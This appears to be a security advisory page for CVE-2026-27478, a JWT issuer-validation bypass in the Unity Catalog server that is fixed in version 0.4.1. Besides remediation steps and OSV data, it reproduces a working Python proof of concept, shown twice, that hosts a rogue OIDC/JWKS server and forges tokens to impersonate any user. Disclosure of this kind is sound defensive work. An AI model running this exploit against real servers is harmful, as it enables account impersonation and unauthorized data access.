CVE-2026-27478: Unitycatalog server Unity Catalog Has A JWT Vulnerability

CRITICAL
Advisory Identifier: GHSA-qqcj-rghw-829x
CVSS 9.1
CWE-1390 CWE-346 CWE-290
Published
Advisory Summary

CVE-2026-27478 is a CRITICAL (CVSS 9.1) unity catalog has a jwt vulnerability (CWE-1390: Weak Authentication) affecting Unitycatalog server libraries in the Maven ecosystem. The issue involves unity catalog has a jwt issuer validation bypass tht allows complete user impersonation. Remediation is available by upgrading affected packages to version 0.4.1.

CVE-2026-27478 at a Glance

CVE Identifier CVE-2026-27478
GHSA Identifier GHSA-qqcj-rghw-829x
Severity CRITICAL
CVSS v3.1 Base Score 9.1
CWE Classification CWE-1390: Weak Authentication
Affected Product Unitycatalog server
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 9.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-27478

To remediate this vulnerability, upgrade all affected Unitycatalog server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

io.unitycatalog:unitycatalog-server fixed: 0.4.1
<dependency>
    <groupId>io.unitycatalog</groupId>
    <artifactId>unitycatalog-server</artifactId>
    <version>0.4.1</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=io.unitycatalog

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-27478, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=io.unitycatalog

Analyze the terminal output to locate any version of Unitycatalog server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.4.1), your application is affected.

Note: The mvn dependency:tree -Dincludes=io.unitycatalog command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1390: Weak Authentication, where the product uses an authentication mechanism to restrict access to specific users or identities, but the mechanism does not sufficiently prove that the claimed identity is correct. In Unitycatalog server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Context:** A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider. **Way to exploit:** An attacker can exploit this by: 1. Hosting their own OIDC-compliant server with a valid JWKS endpoint 2. Signing a JWT with their own private key, setting the iss claim to their server 3. Setting the sub/email claim to any known user in the Unity Catalog system 4. Exchanging this crafted token for a valid internal access token This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to. Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used. **Example** Example implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint. This can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup. ```python #!/usr/bin/env python3 """Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version""" import base64, secrets, threading, time from datetime import datetime, timedelta, timezone import jwt, requests from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from flask import Flask, jsonify TARGET_USER = "user@example.com" UC_SERVER = "http://localhost:8080" PORT = 8888 ISSUER = f"http://localhost:{PORT}" # Generate RSA key pair key = rsa.generate_private_key(public_exponent=65537, key_size=2048) kid = secrets.token_hex(8) # Create JWKS pub = key.public_key().public_numbers() def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode() jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]} # Create malicious JWT token = jwt.encode( {"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog", "iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)}, key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()), algorithm="RS256", headers={"kid": kid} ) # Start minimal OIDC server app = Flask(__name__) app.logger.disabled = True @app.route("/.well-known/openid-configuration") def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"}) @app.route("/jwks") def keys(): return jsonify(jwks) threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start() time.sleep(1) # Exchange token resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens", data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange", "requested_token_type": "urn:ietf:params:oauth:token-type:access_token", "subject_token_type": "urn:ietf:params:oauth:token-type:id_token", "subject_token": token}) if resp.status_code == 200: access_token = resp.json()["access_token"] print(f"[+] Got access token as '{TARGET_USER}'") # Demo: list catalogs catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs", headers={"Authorization": f"Bearer {access_token}"}) print(catalogs.json()) else: print(f"[-] Failed: {resp.status_code} {resp.text}") ```

CVE-2026-27478 Affected Unitycatalog server Versions

1 component(s)
Fixed Versions:
0.4.1
Product / Package Ecosystem Affected Versions Fixed Version
io.unitycatalog:unitycatalog-server
Maven
< 0.4.1
0.4.1

References

Frequently Asked Questions

What is CVE-2026-27478?
CVE-2026-27478 is a security vulnerability in Unitycatalog server involving Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation under CWE-1390: Weak Authentication.
Which Unitycatalog server versions are affected?
Affected versions include releases prior to 0.4.1 across affected packages: io.unitycatalog:unitycatalog-server.
What version fixes CVE-2026-27478?
Upgrading to 0.4.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is unitycatalog-server affected?
Yes, io.unitycatalog:unitycatalog-server is affected in releases prior to 0.4.1. Upgrade your dependency to 0.4.1 or later.
What is the CVSS score of CVE-2026-27478?
CVE-2026-27478 has a CVSS v3.1 base score of 9.1 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-27478?
CVE-2026-27478 is classified under CWE-1390: Weak Authentication (The product uses an authentication mechanism to restrict access to specific users or identities, but the mechanism does not sufficiently prove that the claimed identity is correct.).
How can I check Maven dependencies for CVE-2026-27478?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.unitycatalog'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qqcj-rghw-829x",
  "modified" : "2026-05-11T17:58:40Z",
  "published" : "2026-05-11T17:58:40Z",
  "aliases" : [ "CVE-2026-27478" ],
  "summary" : "Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation",
  "details" : "**Context:**\nA critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.\n\n**Way to exploit:**\n\nAn attacker can exploit this by:\n1. Hosting their own OIDC-compliant server with a valid JWKS endpoint\n2. Signing a JWT with their own private key, setting the iss claim to their server\n3. Setting the sub/email claim to any known user in the Unity Catalog system\n4. Exchanging this crafted token for a valid internal access token\n\nThis results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.\n\nAdditionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.\n\n**Example**\n\nExample implementation doing token exchange with a self hosted `.well-known/openid-configuration` and `jwks` endpoint.\n\nThis can be run with `python3 main.py` and `TARGET_USER`, `UC_SERVER` and `PORT` adjusted to the testing setup.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version\"\"\"\n\nimport base64, secrets, threading, time\nfrom datetime import datetime, timedelta, timezone\nimport jwt, requests\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom flask import Flask, jsonify\n\nTARGET_USER = \"user@example.com\"\nUC_SERVER = \"http://localhost:8080\"\nPORT = 8888\nISSUER = f\"http://localhost:{PORT}\"\n\n# Generate RSA key pair\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\nkid = secrets.token_hex(8)\n\n# Create JWKS\npub = key.public_key().public_numbers()\ndef b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, \"big\")).rstrip(b\"=\").decode()\njwks = {\"keys\": [{\"kty\": \"RSA\", \"use\": \"sig\", \"alg\": \"RS256\", \"kid\": kid, \"n\": b64(pub.n), \"e\": b64(pub.e)}]}\n\n# Create malicious JWT\ntoken = jwt.encode(\n    {\"iss\": ISSUER, \"sub\": TARGET_USER, \"email\": TARGET_USER, \"aud\": \"unity-catalog\",\n     \"iat\": datetime.now(timezone.utc), \"exp\": datetime.now(timezone.utc) + timedelta(hours=1)},\n    key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),\n    algorithm=\"RS256\", headers={\"kid\": kid}\n)\n\n# Start minimal OIDC server\napp = Flask(__name__)\napp.logger.disabled = True\n\n@app.route(\"/.well-known/openid-configuration\")\ndef oidc(): return jsonify({\"issuer\": ISSUER, \"jwks_uri\": f\"{ISSUER}/jwks\"})\n\n@app.route(\"/jwks\")\ndef keys(): return jsonify(jwks)\n\nthreading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()\ntime.sleep(1)\n\n# Exchange token\nresp = requests.post(f\"{UC_SERVER}/api/1.0/unity-control/auth/tokens\",\n                     data={\"grant_type\": \"urn:ietf:params:oauth:grant-type:token-exchange\",\n                           \"requested_token_type\": \"urn:ietf:params:oauth:token-type:access_token\",\n                           \"subject_token_type\": \"urn:ietf:params:oauth:token-type:id_token\",\n                           \"subject_token\": token})\n\nif resp.status_code == 200:\n    access_token = resp.json()[\"access_token\"]\n    print(f\"[+] Got access token as '{TARGET_USER}'\")\n    # Demo: list catalogs\n    catalogs = requests.get(f\"{UC_SERVER}/api/2.1/unity-catalog/catalogs\",\n                            headers={\"Authorization\": f\"Bearer {access_token}\"})\n    print(catalogs.json())\nelse:\n    print(f\"[-] Failed: {resp.status_code} {resp.text}\")\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.unitycatalog:unitycatalog-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.4.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.4.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/unitycatalog/unitycatalog/security/advisories/GHSA-qqcj-rghw-829x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27478"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/unitycatalog/unitycatalog"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/unitycatalog/unitycatalog/releases/tag/v0.4.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1390", "CWE-290", "CWE-346" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T17:58:40Z",
    "nvd_published_at" : "2026-03-11T20:16:14Z"
  }
}